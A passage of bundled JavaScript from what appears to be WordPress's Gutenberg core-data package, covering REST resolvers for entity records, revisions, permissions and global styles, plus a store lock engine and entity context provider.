17509 ...get_normalized_comma_separable_default(query._fields) || [],
17510 entityConfig.key || DEFAULT_ENTITY_KEY
17511 ])
17512 ].join()
17513 };
17514 }
17515 if (query !== void 0 && query._fields) {
17516 const hasRecord = select5.hasEntityRecord(
17517 kind,
17518 name,
17519 key,
17520 query
17521 );
17522 if (hasRecord) {
17523 return;
17524 }
17525 }
17526 let { baseURL } = entityConfig;
17527 if (kind === "postType" && name === "wp_template" && (key && typeof key === "string" && !/^\d+$/.test(key) || !window?.__experimentalTemplateActivate)) {
17528 baseURL = baseURL.slice(0, baseURL.lastIndexOf("/")) + "/templates";
17529 }
17530 const path = (0, import_url6.addQueryArgs)(baseURL + (key ? "/" + key : ""), {
17531 ...entityConfig.baseURLParams,
17532 ...query
17533 });
17534 const response = await (0, import_api_fetch9.default)({ path, parse: false });
17535 const record = await response.json();
17536 const permissions = getUserPermissionsFromAllowHeader(
17537 response.headers?.get("allow")
17538 );
17539 const canUserResolutionsArgs = [];
17540 const receiveUserPermissionArgs = {};
17541 for (const action of ALLOWED_RESOURCE_ACTIONS) {
17542 receiveUserPermissionArgs[getUserPermissionCacheKey(action, {
17543 kind,
17544 name,
17545 id: key
17546 })] = permissions[action];
17547 canUserResolutionsArgs.push([
17548 action,
17549 { kind, name, id: key }
17550 ]);
17551 }
17552 if (entityConfig.syncConfig && isNumericID(key) && !query) {
17553 const objectType = `${kind}/${name}`;
17554 const objectId = key;
17555 const recordWithTransients = { ...record };
17556 Object.entries(entityConfig.transientEdits ?? {}).filter(
17557 ([propName, transientConfig]) => void 0 === recordWithTransients[propName] && transientConfig && "object" === typeof transientConfig && "read" in transientConfig && "function" === typeof transientConfig.read
17558 ).forEach(([propName, transientConfig]) => {
17559 recordWithTransients[propName] = transientConfig.read(recordWithTransients);
17560 });
17561 void getSyncManager()?.load(
17562 entityConfig.syncConfig,
17563 objectType,
17564 objectId,
17565 recordWithTransients,
17566 {
17567 // Handle edits sourced from the sync manager.
17568 editRecord: (edits, options = {}) => {
17569 if (!Object.keys(edits).length) {
17570 return;
17571 }
17572 dispatch3({
17573 type: "EDIT_ENTITY_RECORD",
17574 kind,
17575 name,
17576 recordId: key,
17577 edits,
17578 meta: {
17579 undo: void 0
17580 },
17581 options
17582 });
17583 },
17584 // Get the current entity record (with edits)
17585 getEditedRecord: async () => await resolveSelect2.getEditedEntityRecord(
17586 kind,
17587 name,
17588 key
17589 ),
17590 // Handle sync connection status changes.
17591 onStatusChange: (status) => {
17592 dispatch3.setSyncConnectionStatus(
17593 kind,
17594 name,
17595 key,
17596 status
17597 );
17598 },
17599 // Refetch the current entity record from the database.
17600 refetchRecord: async () => {
17601 dispatch3.receiveEntityRecords(
17602 kind,
17603 name,
17604 await (0, import_api_fetch9.default)({ path, parse: true }),
17605 query
17606 );
17607 },
17608 // Persist the CRDT document.
17609 //
17610 // TODO: Currently, persisted CRDT documents are stored in post meta.
17611 // This effectively means that only post entities support CRDT
17612 // persistence. As we add support for syncing additional entity,
17613 // we'll need to revisit where persisted CRDT documents are stored.
17614 persistCRDTDoc: () => {
17615 resolveSelect2.getEditedEntityRecord(kind, name, key).then((editedRecord) => {
17616 const { meta, status } = editedRecord;
17617 if ("auto-draft" === status || !meta) {
17618 return;
17619 }
17620 dispatch3.saveEntityRecord(
17621 kind,
17622 name,
17623 editedRecord
17624 );
17625 });
17626 },
17627 addUndoMeta: (ydoc, meta) => {
17628 const selectionHistory = getSelectionHistory(ydoc);
17629 if (selectionHistory) {
17630 meta.set(
17631 "selectionHistory",
17632 selectionHistory
17633 );
17634 }
17635 },
17636 restoreUndoMeta: (ydoc, meta) => {
17637 const selectionHistory = meta.get("selectionHistory");
17638 if (selectionHistory) {
17639 setTimeout(() => {
17640 restoreSelection(selectionHistory, ydoc);
17641 }, 0);
17642 }
17643 }
17644 }
17645 );
17646 }
17647 registry.batch(() => {
17648 dispatch3.receiveEntityRecords(kind, name, record, query);
17649 dispatch3.receiveUserPermissions(receiveUserPermissionArgs);
17650 dispatch3.finishResolutions("canUser", canUserResolutionsArgs);
17651 });
17652 } finally {
17653 dispatch3.__unstableReleaseStoreLock(lock3);
17654 }
17655 };
17656 getEntityRecord2.shouldInvalidate = (action, kind, name) => {
17657 return kind === "root" && name === "site" && (action.type === "RECEIVE_ITEMS" && // Making sure persistedEdits is set seems to be the only way of
17658 // knowing whether it's an update or fetch. Only an update would
17659 // have persistedEdits.
17660 action.persistedEdits && action.persistedEdits.status !== "auto-draft" || action.type === "REMOVE_ITEMS") && action.kind === "postType" && action.name === "wp_template";
17661 };
17662 var getRawEntityRecord2 = forward_resolver_default("getEntityRecord");
17663 var getEditedEntityRecord2 = forward_resolver_default("getEntityRecord");
17664 var getEntityRecords2 = (kind, name, query = {}) => async ({ dispatch: dispatch3, registry, resolveSelect: resolveSelect2 }) => {
17665 const configs = await resolveSelect2.getEntitiesConfig(kind);
17666 const entityConfig = configs.find(
17667 (config) => config.name === name && config.kind === kind
17668 );
17669 if (!entityConfig) {
17670 return;
17671 }
17672 const lock3 = await dispatch3.__unstableAcquireStoreLock(
17673 STORE_NAME,
17674 ["entities", "records", kind, name],
17675 { exclusive: false }
17676 );
17677 const rawQuery = { ...query };
17678 const key = entityConfig.key || DEFAULT_ENTITY_KEY;
17679 function getResolutionsArgs(records, recordsQuery) {
17680 const queryArgs = Object.fromEntries(
17681 Object.entries(recordsQuery).filter(([k, v]) => {
17682 return ["context", "_fields"].includes(k) && !!v;
17683 })
17684 );
17685 return records.filter((record) => record?.[key]).map((record) => [
17686 kind,
17687 name,
17688 record[key],
17689 Object.keys(queryArgs).length > 0 ? queryArgs : void 0
17690 ]);
17691 }
17692 try {
17693 if (query._fields) {
17694 query = {
17695 ...query,
17696 _fields: [
17697 .../* @__PURE__ */ new Set([
17698 ...get_normalized_comma_separable_default(query._fields) || [],
17699 key
17700 ])
17701 ].join()
17702 };
17703 }
17704 let { baseURL } = entityConfig;
17705 const { combinedTemplates = true } = query;
17706 if (kind === "postType" && name === "wp_template" && combinedTemplates) {
17707 baseURL = baseURL.slice(0, baseURL.lastIndexOf("/")) + "/templates";
17708 }
17709 const path = (0, import_url6.addQueryArgs)(baseURL, {
17710 ...entityConfig.baseURLParams,
17711 ...query
17712 });
17713 let records = [], meta;
17714 if (entityConfig.supportsPagination && query.per_page !== -1) {
17715 const response = await (0, import_api_fetch9.default)({ path, parse: false });
17716 records = Object.values(await response.json());
17717 meta = {
17718 totalItems: parseInt(
17719 response.headers.get("X-WP-Total")
17720 ),
17721 totalPages: parseInt(
17722 response.headers.get("X-WP-TotalPages")
17723 )
17724 };
17725 } else if (query.per_page === -1 && query[RECEIVE_INTERMEDIATE_RESULTS] === true) {
17726 let page = 1;
17727 let totalPages;
17728 do {
17729 const response = await (0, import_api_fetch9.default)({
17730 path: (0, import_url6.addQueryArgs)(path, { page, per_page: 100 }),
17731 parse: false
17732 });
17733 const pageRecords = Object.values(await response.json());
17734 totalPages = parseInt(
17735 response.headers.get("X-WP-TotalPages")
17736 );
17737 if (!meta) {
17738 meta = {
17739 totalItems: parseInt(
17740 response.headers.get("X-WP-Total")
17741 ),
17742 totalPages: 1
17743 };
17744 }
17745 records.push(...pageRecords);
17746 registry.batch(() => {
17747 dispatch3.receiveEntityRecords(
17748 kind,
17749 name,
17750 records,
17751 query,
17752 false,
17753 void 0,
17754 meta
17755 );
17756 dispatch3.finishResolutions(
17757 "getEntityRecord",
17758 getResolutionsArgs(pageRecords, rawQuery)
17759 );
17760 });
17761 page++;
17762 } while (page <= totalPages);
17763 } else {
17764 records = Object.values(await (0, import_api_fetch9.default)({ path }));
17765 meta = {
17766 totalItems: records.length,
17767 totalPages: 1
17768 };
17769 }
17770 if (entityConfig.syncConfig && -1 === query.per_page) {
17771 const objectType = `${kind}/${name}`;
17772 getSyncManager()?.loadCollection(
17773 entityConfig.syncConfig,
17774 objectType,
17775 {
17776 onStatusChange: (status) => {
17777 dispatch3.setSyncConnectionStatus(
17778 kind,
17779 name,
17780 null,
17781 status
17782 );
17783 },
17784 refetchRecords: async () => {
17785 dispatch3.receiveEntityRecords(
17786 kind,
17787 name,
17788 await (0, import_api_fetch9.default)({ path, parse: true }),
17789 query
17790 );
17791 }
17792 }
17793 );
17794 }
17795 if (query._fields) {
17796 records = records.map((record) => {
17797 query._fields.split(",").forEach((field) => {
17798 if (!record.hasOwnProperty(field)) {
17799 record[field] = void 0;
17800 }
17801 });
17802 return record;
17803 });
17804 }
17805 registry.batch(() => {
17806 dispatch3.receiveEntityRecords(
17807 kind,
17808 name,
17809 records,
17810 query,
17811 false,
17812 void 0,
17813 meta
17814 );
17815 const targetHints = records.filter(
17816 (record) => !!record?.[key] && !!record?._links?.self?.[0]?.targetHints?.allow
17817 ).map((record) => ({
17818 id: record[key],
17819 permissions: getUserPermissionsFromAllowHeader(
17820 record._links.self[0].targetHints.allow
17821 )
17822 }));
17823 const canUserResolutionsArgs = [];
17824 const receiveUserPermissionArgs = {};
17825 for (const targetHint of targetHints) {
17826 for (const action of ALLOWED_RESOURCE_ACTIONS) {
17827 canUserResolutionsArgs.push([
17828 action,
17829 { kind, name, id: targetHint.id }
17830 ]);
17831 receiveUserPermissionArgs[getUserPermissionCacheKey(action, {
17832 kind,
17833 name,
17834 id: targetHint.id
17835 })] = targetHint.permissions[action];
17836 }
17837 }
17838 if (targetHints.length > 0) {
17839 dispatch3.receiveUserPermissions(
17840 receiveUserPermissionArgs
17841 );
17842 dispatch3.finishResolutions(
17843 "canUser",
17844 canUserResolutionsArgs
17845 );
17846 }
17847 dispatch3.finishResolutions(
17848 "getEntityRecord",
17849 getResolutionsArgs(records, rawQuery)
17850 );
17851 dispatch3.__unstableReleaseStoreLock(lock3);
17852 });
17853 } catch (e) {
17854 dispatch3.__unstableReleaseStoreLock(lock3);
17855 }
17856 };
17857 getEntityRecords2.shouldInvalidate = (action, kind, name) => {
17858 return (action.type === "RECEIVE_ITEMS" || action.type === "REMOVE_ITEMS") && action.invalidateCache && kind === action.kind && name === action.name;
17859 };
17860 var getEntityRecordsTotalItems2 = forward_resolver_default("getEntityRecords");
17861 var getEntityRecordsTotalPages2 = forward_resolver_default("getEntityRecords");
17862 var getCurrentTheme2 = () => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17863 const activeThemes = await resolveSelect2.getEntityRecords(
17864 "root",
17865 "theme",
17866 { status: "active" }
17867 );
17868 dispatch3.receiveCurrentTheme(activeThemes[0]);
17869 };
17870 var getThemeSupports2 = forward_resolver_default("getCurrentTheme");
17871 var getEmbedPreview2 = (url) => async ({ dispatch: dispatch3 }) => {
17872 try {
17873 const embedProxyResponse = await (0, import_api_fetch9.default)({
17874 path: (0, import_url6.addQueryArgs)("/oembed/1.0/proxy", { url })
17875 });
17876 dispatch3.receiveEmbedPreview(url, embedProxyResponse);
17877 } catch (error) {
17878 dispatch3.receiveEmbedPreview(url, false);
17879 }
17880 };
17881 var canUser2 = (requestedAction, resource, id2) => async ({ dispatch: dispatch3, registry, resolveSelect: resolveSelect2 }) => {
17882 if (!ALLOWED_RESOURCE_ACTIONS.includes(requestedAction)) {
17883 throw new Error(`'${requestedAction}' is not a valid action.`);
17884 }
17885 const { hasStartedResolution } = registry.select(STORE_NAME);
17886 for (const relatedAction of ALLOWED_RESOURCE_ACTIONS) {
17887 if (relatedAction === requestedAction) {
17888 continue;
17889 }
17890 const isAlreadyResolving = hasStartedResolution("canUser", [
17891 relatedAction,
17892 resource,
17893 id2
17894 ]);
17895 if (isAlreadyResolving) {
17896 return;
17897 }
17898 }
17899 let resourcePath = null;
17900 if (typeof resource === "object") {
17901 if (!resource.kind || !resource.name) {
17902 throw new Error("The entity resource object is not valid.");
17903 }
17904 const configs = await resolveSelect2.getEntitiesConfig(
17905 resource.kind
17906 );
17907 const entityConfig = configs.find(
17908 (config) => config.name === resource.name && config.kind === resource.kind
17909 );
17910 if (!entityConfig) {
17911 return;
17912 }
17913 resourcePath = entityConfig.baseURL + (resource.id ? "/" + resource.id : "");
17914 } else {
17915 resourcePath = `/wp/v2/${resource}` + (id2 ? "/" + id2 : "");
17916 }
17917 let response;
17918 try {
17919 response = await (0, import_api_fetch9.default)({
17920 path: resourcePath,
17921 method: "OPTIONS",
17922 parse: false
17923 });
17924 } catch (error) {
17925 return;
17926 }
17927 const permissions = getUserPermissionsFromAllowHeader(
17928 response.headers?.get("allow")
17929 );
17930 registry.batch(() => {
17931 for (const action of ALLOWED_RESOURCE_ACTIONS) {
17932 const key = getUserPermissionCacheKey(action, resource, id2);
17933 dispatch3.receiveUserPermission(key, permissions[action]);
17934 if (action !== requestedAction) {
17935 dispatch3.finishResolution("canUser", [
17936 action,
17937 resource,
17938 id2
17939 ]);
17940 }
17941 }
17942 });
17943 };
17944 var canUserEditEntityRecord2 = (kind, name, recordId) => async ({ dispatch: dispatch3 }) => {
17945 await dispatch3(canUser2("update", { kind, name, id: recordId }));
17946 };
17947 var getAutosaves2 = (postType, postId) => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17948 const {
17949 rest_base: restBase,
17950 rest_namespace: restNamespace = "wp/v2",
17951 supports
17952 } = await resolveSelect2.getPostType(postType);
17953 if (!supports?.autosave) {
17954 return;
17955 }
17956 const autosaves2 = await (0, import_api_fetch9.default)({
17957 path: `/${restNamespace}/${restBase}/${postId}/autosaves?context=edit`
17958 });
17959 if (autosaves2 && autosaves2.length) {
17960 dispatch3.receiveAutosaves(postId, autosaves2);
17961 }
17962 };
17963 var getAutosave2 = (postType, postId) => async ({ resolveSelect: resolveSelect2 }) => {
17964 await resolveSelect2.getAutosaves(postType, postId);
17965 };
17966 var __experimentalGetCurrentGlobalStylesId2 = () => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17967 const activeThemes = await resolveSelect2.getEntityRecords(
17968 "root",
17969 "theme",
17970 { status: "active" }
17971 );
17972 const globalStylesURL = activeThemes?.[0]?._links?.["wp:user-global-styles"]?.[0]?.href;
17973 if (!globalStylesURL) {
17974 return;
17975 }
17976 const matches = globalStylesURL.match(/\/(\d+)(?:\?|$)/);
17977 const id2 = matches ? Number(matches[1]) : null;
17978 if (id2) {
17979 dispatch3.__experimentalReceiveCurrentGlobalStylesId(id2);
17980 }
17981 };
17982 var __experimentalGetCurrentThemeBaseGlobalStyles2 = () => async ({ resolveSelect: resolveSelect2, dispatch: dispatch3 }) => {
17983 const currentTheme2 = await resolveSelect2.getCurrentTheme();
17984 const themeGlobalStyles = await (0, import_api_fetch9.default)({
17985 path: `/wp/v2/global-styles/themes/${currentTheme2.stylesheet}?context=view`
17986 });
17987 dispatch3.__experimentalReceiveThemeBaseGlobalStyles(
17988 currentTheme2.stylesheet,
17989 themeGlobalStyles
17990 );
17991 };
17992 var __experimentalGetCurrentThemeGlobalStylesVariations2 = () => async ({ resolveSelect: resolveSelect2, dispatch: dispatch3 }) => {
17993 const currentTheme2 = await resolveSelect2.getCurrentTheme();
17994 const variations = await (0, import_api_fetch9.default)({
17995 path: `/wp/v2/global-styles/themes/${currentTheme2.stylesheet}/variations?context=view`
17996 });
17997 dispatch3.__experimentalReceiveThemeGlobalStyleVariations(
17998 currentTheme2.stylesheet,
17999 variations
18000 );
18001 };
18002 var getCurrentThemeGlobalStylesRevisions2 = () => async ({ resolveSelect: resolveSelect2, dispatch: dispatch3 }) => {
18003 const globalStylesId = await resolveSelect2.__experimentalGetCurrentGlobalStylesId();
18004 const record = globalStylesId ? await resolveSelect2.getEntityRecord(
18005 "root",
18006 "globalStyles",
18007 globalStylesId
18008 ) : void 0;
18009 const revisionsURL = record?._links?.["version-history"]?.[0]?.href;
18010 if (revisionsURL) {
18011 const resetRevisions = await (0, import_api_fetch9.default)({
18012 url: revisionsURL
18013 });
18014 const revisions = resetRevisions?.map(
18015 (revision) => Object.fromEntries(
18016 Object.entries(revision).map(([key, value]) => [
18017 camelCase(key),
18018 value
18019 ])
18020 )
18021 );
18022 dispatch3.receiveThemeGlobalStyleRevisions(
18023 globalStylesId,
18024 revisions
18025 );
18026 }
18027 };
18028 getCurrentThemeGlobalStylesRevisions2.shouldInvalidate = (action) => {
18029 return action.type === "SAVE_ENTITY_RECORD_FINISH" && action.kind === "root" && !action.error && action.name === "globalStyles";
18030 };
18031 var getBlockPatterns2 = () => async ({ dispatch: dispatch3 }) => {
18032 const patterns = await fetchBlockPatterns();
18033 dispatch3({ type: "RECEIVE_BLOCK_PATTERNS", patterns });
18034 };
18035 var getBlockPatternCategories2 = () => async ({ dispatch: dispatch3 }) => {
18036 const categories = await (0, import_api_fetch9.default)({
18037 path: "/wp/v2/block-patterns/categories"
18038 });
18039 dispatch3({ type: "RECEIVE_BLOCK_PATTERN_CATEGORIES", categories });
18040 };
18041 var getUserPatternCategories2 = () => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
18042 const patternCategories = await resolveSelect2.getEntityRecords(
18043 "taxonomy",
18044 "wp_pattern_category",
18045 {
18046 per_page: -1,
18047 _fields: "id,name,description,slug",
18048 context: "view"
18049 }
18050 );
18051 const mappedPatternCategories = patternCategories?.map((userCategory) => ({
18052 ...userCategory,
18053 label: (0, import_html_entities2.decodeEntities)(userCategory.name),
18054 name: userCategory.slug
18055 })) || [];
18056 dispatch3({
18057 type: "RECEIVE_USER_PATTERN_CATEGORIES",
18058 patternCategories: mappedPatternCategories
18059 });
18060 };
18061 var getNavigationFallbackId2 = () => async ({ dispatch: dispatch3, select: select5, registry }) => {
18062 const fallback = await (0, import_api_fetch9.default)({
18063 path: (0, import_url6.addQueryArgs)("/wp-block-editor/v1/navigation-fallback", {
18064 _embed: true
18065 })
18066 });
18067 const record = fallback?._embedded?.self;
18068 registry.batch(() => {
18069 dispatch3.receiveNavigationFallbackId(fallback?.id);
18070 if (!record) {
18071 return;
18072 }
18073 const existingFallbackEntityRecord = select5.getEntityRecord(
18074 "postType",
18075 "wp_navigation",
18076 fallback.id
18077 );
18078 const invalidateNavigationQueries = !existingFallbackEntityRecord;
18079 dispatch3.receiveEntityRecords(
18080 "postType",
18081 "wp_navigation",
18082 record,
18083 void 0,
18084 invalidateNavigationQueries
18085 );
18086 dispatch3.finishResolution("getEntityRecord", [
18087 "postType",
18088 "wp_navigation",
18089 fallback.id
18090 ]);
18091 });
18092 };
18093 var getDefaultTemplateId2 = (query) => async ({ dispatch: dispatch3, registry, resolveSelect: resolveSelect2 }) => {
18094 const template = await (0, import_api_fetch9.default)({
18095 path: (0, import_url6.addQueryArgs)("/wp/v2/templates/lookup", query)
18096 });
18097 await resolveSelect2.getEntitiesConfig("postType");
18098 const id2 = window?.__experimentalTemplateActivate ? template?.wp_id || template?.id : template?.id;
18099 if (id2) {
18100 template.id = id2;
18101 registry.batch(() => {
18102 dispatch3.receiveDefaultTemplateId(query, id2);
18103 dispatch3.receiveEntityRecords(
18104 "postType",
18105 template.type,
18106 template
18107 );
18108 dispatch3.finishResolution("getEntityRecord", [
18109 "postType",
18110 template.type,
18111 id2
18112 ]);
18113 });
18114 }
18115 };
18116 getDefaultTemplateId2.shouldInvalidate = (action) => {
18117 return action.type === "RECEIVE_ITEMS" && action.kind === "root" && action.name === "site";
18118 };
18119 var getRevisions2 = (kind, name, recordKey, query = {}) => async ({ dispatch: dispatch3, registry, resolveSelect: resolveSelect2 }) => {
18120 const configs = await resolveSelect2.getEntitiesConfig(kind);
18121 const entityConfig = configs.find(
18122 (config) => config.name === name && config.kind === kind
18123 );
18124 if (!entityConfig) {
18125 return;
18126 }
18127 if (query._fields) {
18128 query = {
18129 ...query,
18130 _fields: [
18131 .../* @__PURE__ */ new Set([
18132 ...get_normalized_comma_separable_default(query._fields) || [],
18133 entityConfig.revisionKey || DEFAULT_ENTITY_KEY
18134 ])
18135 ].join()
18136 };
18137 }
18138 const path = (0, import_url6.addQueryArgs)(
18139 entityConfig.getRevisionsUrl(recordKey),
18140 query
18141 );
18142 let records, response;
18143 const meta = {};
18144 const isPaginated = entityConfig.supportsPagination && query.per_page !== -1;
18145 try {
18146 response = await (0, import_api_fetch9.default)({ path, parse: !isPaginated });
18147 } catch (error) {
18148 return;
18149 }
18150 if (response) {
18151 if (isPaginated) {
18152 records = Object.values(await response.json());
18153 meta.totalItems = parseInt(
18154 response.headers.get("X-WP-Total")
18155 );
18156 } else {
18157 records = Object.values(response);
18158 }
18159 if (query._fields) {
18160 records = records.map((record) => {
18161 query._fields.split(",").forEach((field) => {
18162 if (!record.hasOwnProperty(field)) {
18163 record[field] = void 0;
18164 }
18165 });
18166 return record;
18167 });
18168 }
18169 registry.batch(() => {
18170 dispatch3.receiveRevisions(
18171 kind,
18172 name,
18173 recordKey,
18174 records,
18175 query,
18176 false,
18177 meta
18178 );
18179 if (!query?._fields && !query.context) {
18180 const key = entityConfig.revisionKey || DEFAULT_ENTITY_KEY;
18181 const resolutionsArgs = records.filter((record) => record[key]).map((record) => [
18182 kind,
18183 name,
18184 recordKey,
18185 record[key]
18186 ]);
18187 dispatch3.finishResolutions(
18188 "getRevision",
18189 resolutionsArgs
18190 );
18191 }
18192 });
18193 }
18194 };
18195 getRevisions2.shouldInvalidate = (action, kind, name, recordKey) => action.type === "SAVE_ENTITY_RECORD_FINISH" && name === action.name && kind === action.kind && !action.error && recordKey === action.recordId;
18196 var getRevision2 = (kind, name, recordKey, revisionKey, query) => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
18197 const configs = await resolveSelect2.getEntitiesConfig(kind);
18198 const entityConfig = configs.find(
18199 (config) => config.name === name && config.kind === kind
18200 );
18201 if (!entityConfig) {
18202 return;
18203 }
18204 if (query !== void 0 && query._fields) {
18205 query = {
18206 ...query,
18207 _fields: [
18208 .../* @__PURE__ */ new Set([
18209 ...get_normalized_comma_separable_default(query._fields) || [],
18210 entityConfig.revisionKey || DEFAULT_ENTITY_KEY
18211 ])
18212 ].join()
18213 };
18214 }
18215 const path = (0, import_url6.addQueryArgs)(
18216 entityConfig.getRevisionsUrl(recordKey, revisionKey),
18217 query
18218 );
18219 let record;
18220 try {
18221 record = await (0, import_api_fetch9.default)({ path });
18222 } catch (error) {
18223 return;
18224 }
18225 if (record) {
18226 dispatch3.receiveRevisions(kind, name, recordKey, record, query);
18227 }
18228 };
18229 var getRegisteredPostMeta2 = (postType) => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
18230 let options;
18231 try {
18232 const {
18233 rest_namespace: restNamespace = "wp/v2",
18234 rest_base: restBase
18235 } = await resolveSelect2.getPostType(postType) || {};
18236 options = await (0, import_api_fetch9.default)({
18237 path: `${restNamespace}/${restBase}/?context=edit`,
18238 method: "OPTIONS"
18239 });
18240 } catch (error) {
18241 return;
18242 }
18243 if (options) {
18244 dispatch3.receiveRegisteredPostMeta(
18245 postType,
18246 options?.schema?.properties?.meta?.properties
18247 );
18248 }
18249 };
18250 var getEntitiesConfig2 = (kind) => async ({ dispatch: dispatch3 }) => {
18251 const loader = additionalEntityConfigLoaders.find(
18252 (l) => l.kind === kind
18253 );
18254 if (!loader) {
18255 return;
18256 }
18257 try {
18258 const configs = await loader.loadEntities();
18259 if (!configs.length) {
18260 return;
18261 }
18262 dispatch3.addEntities(configs);
18263 } catch {
18264 }
18265 };
18266 var getEditorSettings2 = () => async ({ dispatch: dispatch3 }) => {
18267 const settings = await (0, import_api_fetch9.default)({
18268 path: "/wp-block-editor/v1/settings"
18269 });
18270 dispatch3.receiveEditorSettings(settings);
18271 };
18272 var getEditorAssets2 = () => async ({ dispatch: dispatch3 }) => {
18273 const assets = await (0, import_api_fetch9.default)({
18274 path: "/wp-block-editor/v1/assets"
18275 });
18276 dispatch3.receiveEditorAssets(assets);
18277 };
18278
18279 // packages/core-data/build-module/locks/utils.mjs
18280 function deepCopyLocksTreePath(tree, path) {
18281 const newTree = { ...tree };
18282 let currentNode = newTree;
18283 for (const branchName of path) {
18284 currentNode.children = {
18285 ...currentNode.children,
18286 [branchName]: {
18287 locks: [],
18288 children: {},
18289 ...currentNode.children[branchName]
18290 }
18291 };
18292 currentNode = currentNode.children[branchName];
18293 }
18294 return newTree;
18295 }
18296 function getNode(tree, path) {
18297 let currentNode = tree;
18298 for (const branchName of path) {
18299 const nextNode = currentNode.children[branchName];
18300 if (!nextNode) {
18301 return null;
18302 }
18303 currentNode = nextNode;
18304 }
18305 return currentNode;
18306 }
18307 function* iteratePath(tree, path) {
18308 let currentNode = tree;
18309 yield currentNode;
18310 for (const branchName of path) {
18311 const nextNode = currentNode.children[branchName];
18312 if (!nextNode) {
18313 break;
18314 }
18315 yield nextNode;
18316 currentNode = nextNode;
18317 }
18318 }
18319 function* iterateDescendants(node) {
18320 const stack = Object.values(node.children);
18321 while (stack.length) {
18322 const childNode = stack.pop();
18323 yield childNode;
18324 stack.push(...Object.values(childNode.children));
18325 }
18326 }
18327 function hasConflictingLock({ exclusive }, locks2) {
18328 if (exclusive && locks2.length) {
18329 return true;
18330 }
18331 if (!exclusive && locks2.filter((lock3) => lock3.exclusive).length) {
18332 return true;
18333 }
18334 return false;
18335 }
18336
18337 // packages/core-data/build-module/locks/reducer.mjs
18338 var DEFAULT_STATE = {
18339 requests: [],
18340 tree: {
18341 locks: [],
18342 children: {}
18343 }
18344 };
18345 function locks(state = DEFAULT_STATE, action) {
18346 switch (action.type) {
18347 case "ENQUEUE_LOCK_REQUEST": {
18348 const { request } = action;
18349 return {
18350 ...state,
18351 requests: [request, ...state.requests]
18352 };
18353 }
18354 case "GRANT_LOCK_REQUEST": {
18355 const { lock: lock3, request } = action;
18356 const { store: store2, path } = request;
18357 const storePath = [store2, ...path];
18358 const newTree = deepCopyLocksTreePath(state.tree, storePath);
18359 const node = getNode(newTree, storePath);
18360 node.locks = [...node.locks, lock3];
18361 return {
18362 ...state,
18363 requests: state.requests.filter((r) => r !== request),
18364 tree: newTree
18365 };
18366 }
18367 case "RELEASE_LOCK": {
18368 const { lock: lock3 } = action;
18369 const storePath = [lock3.store, ...lock3.path];
18370 const newTree = deepCopyLocksTreePath(state.tree, storePath);
18371 const node = getNode(newTree, storePath);
18372 node.locks = node.locks.filter((l) => l !== lock3);
18373 return {
18374 ...state,
18375 tree: newTree
18376 };
18377 }
18378 }
18379 return state;
18380 }
18381
18382 // packages/core-data/build-module/locks/selectors.mjs
18383 function getPendingLockRequests(state) {
18384 return state.requests;
18385 }
18386 function isLockAvailable(state, store2, path, { exclusive }) {
18387 const storePath = [store2, ...path];
18388 const locks2 = state.tree;
18389 for (const node2 of iteratePath(locks2, storePath)) {
18390 if (hasConflictingLock({ exclusive }, node2.locks)) {
18391 return false;
18392 }
18393 }
18394 const node = getNode(locks2, storePath);
18395 if (!node) {
18396 return true;
18397 }
18398 for (const descendant of iterateDescendants(node)) {
18399 if (hasConflictingLock({ exclusive }, descendant.locks)) {
18400 return false;
18401 }
18402 }
18403 return true;
18404 }
18405
18406 // packages/core-data/build-module/locks/engine.mjs
18407 function createLocks() {
18408 let state = locks(void 0, { type: "@@INIT" });
18409 function processPendingLockRequests() {
18410 for (const request of getPendingLockRequests(state)) {
18411 const { store: store2, path, exclusive, notifyAcquired } = request;
18412 if (isLockAvailable(state, store2, path, { exclusive })) {
18413 const lock3 = { store: store2, path, exclusive };
18414 state = locks(state, {
18415 type: "GRANT_LOCK_REQUEST",
18416 lock: lock3,
18417 request
18418 });
18419 notifyAcquired(lock3);
18420 }
18421 }
18422 }
18423 function acquire(store2, path, exclusive) {
18424 return new Promise((resolve) => {
18425 state = locks(state, {
18426 type: "ENQUEUE_LOCK_REQUEST",
18427 request: { store: store2, path, exclusive, notifyAcquired: resolve }
18428 });
18429 processPendingLockRequests();
18430 });
18431 }
18432 function release(lock3) {
18433 state = locks(state, {
18434 type: "RELEASE_LOCK",
18435 lock: lock3
18436 });
18437 processPendingLockRequests();
18438 }
18439 return { acquire, release };
18440 }
18441
18442 // packages/core-data/build-module/locks/actions.mjs
18443 function createLocksActions() {
18444 const locks2 = createLocks();
18445 function __unstableAcquireStoreLock(store2, path, { exclusive }) {
18446 return () => locks2.acquire(store2, path, exclusive);
18447 }
18448 function __unstableReleaseStoreLock(lock3) {
18449 return () => locks2.release(lock3);
18450 }
18451 return { __unstableAcquireStoreLock, __unstableReleaseStoreLock };
18452 }
18453
18454 // packages/core-data/build-module/dynamic-entities.mjs
18455 var dynamicActions;
18456 var dynamicSelectors;
18457
18458 // packages/core-data/build-module/entity-provider.mjs
18459 var import_element2 = __toESM(require_element(), 1);
18460
18461 // packages/core-data/build-module/entity-context.mjs
18462 var import_element = __toESM(require_element(), 1);
18463 var EntityContext = (0, import_element.createContext)({});
18464 EntityContext.displayName = "EntityContext";
18465
18466 // packages/core-data/build-module/entity-provider.mjs
18467 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
18468 function EntityProvider({
18469 kind,
18470 type: name,
18471 id: id2,
18472 revisionId,
18473 children
18474 }) {
18475 const parent = (0, import_element2.useContext)(EntityContext);
18476 const childContext = (0, import_element2.useMemo)(
18477 () => ({
18478 ...parent,
18479 ...kind && {
18480 [kind]: {
18481 ...parent?.[kind],
18482 [name]: id2
18483 }
18484 },
18485 ...revisionId !== void 0 && { revisionId }
18486 }),
18487 [parent, kind, name, id2, revisionId]
18488 );
18489 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(EntityContext.Provider, { value: childContext, children });
18490 }
18491
18492 // packages/core-data/build-module/hooks/use-entity-record.mjs
18493 var import_data12 = __toESM(require_data(), 1);
18494 var import_deprecated4 = __toESM(require_deprecated(), 1);
18495 var import_element3 = __toESM(require_element(), 1);
18496
18497 // packages/core-data/build-module/hooks/use-query-select.mjs
18498 var import_data11 = __toESM(require_data(), 1);
18499
18500 // node_modules/memize/dist/index.js
